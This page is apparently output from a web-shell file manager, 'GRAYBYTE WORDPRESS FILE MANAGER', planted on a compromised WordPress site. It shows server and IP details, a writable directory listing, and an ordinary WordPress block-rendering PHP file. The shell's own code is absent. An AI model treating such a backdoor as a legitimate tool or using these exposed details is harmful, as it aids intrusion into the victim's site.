$99 GRAYBYTE WORDPRESS FILE MANAGER $12

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.216.51
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/itiministry.org/wp-includes/blocks/audio/

HOME
Current File : /home/bravetechrwanda/itiministry.org/wp-includes/blocks/audio//post-author-name.php
<?php
/**
 * Server-side rendering of the `core/post-author-name` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-author-name` block on the server.
 *
 * @since 6.2.0
 *
 * @param  array    $attributes Block attributes.
 * @param  string   $content    Block default content.
 * @param  WP_Block $block      Block instance.
 * @return string Returns the rendered post author name block.
 */
function render_block_core_post_author_name( $attributes, $content, $block ) {
	if ( isset( $block->context['postId'] ) ) {
		$author_id = get_post_field( 'post_author', $block->context['postId'] );
	} else {
		$author_id = get_query_var( 'author' );
	}

	if ( empty( $author_id ) ) {
		return '';
	}

	if ( isset( $block->context['postType'] ) && ! post_type_supports( $block->context['postType'], 'author' ) ) {
		return '';
	}

	$author_name = get_the_author_meta( 'display_name', $author_id );
	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
		$author_name = sprintf( '<a href="%1$s" target="%2$s" class="wp-block-post-author-name__link">%3$s</a>', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $author_name );
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $author_name );
}

/**
 * Registers the `core/post-author-name` block on the server.
 *
 * @since 6.2.0
 */
function register_block_core_post_author_name() {
	register_block_type_from_metadata(
		__DIR__ . '/post-author-name',
		array(
			'render_callback' => 'render_block_core_post_author_name',
		)
	);
}
add_action( 'init', 'register_block_core_post_author_name' );

Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
10 May 2026 7.25 AM
bravetechrwanda / bravetechrwanda
0755
block.json
1.296 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
editor-rtl.css
0.244 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
editor-rtl.min.css
0.21 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
editor.css
0.242 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
editor.min.css
0.208 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
post-author-name.php
1.905 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
style-rtl.css
0.175 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
style-rtl.min.css
0.152 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
style.css
0.175 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
style.min.css
0.152 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
theme-rtl.css
0.195 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
theme-rtl.min.css
0.172 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
theme.css
0.195 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644
theme.min.css
0.172 KB
17 Oct 2025 11.09 AM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF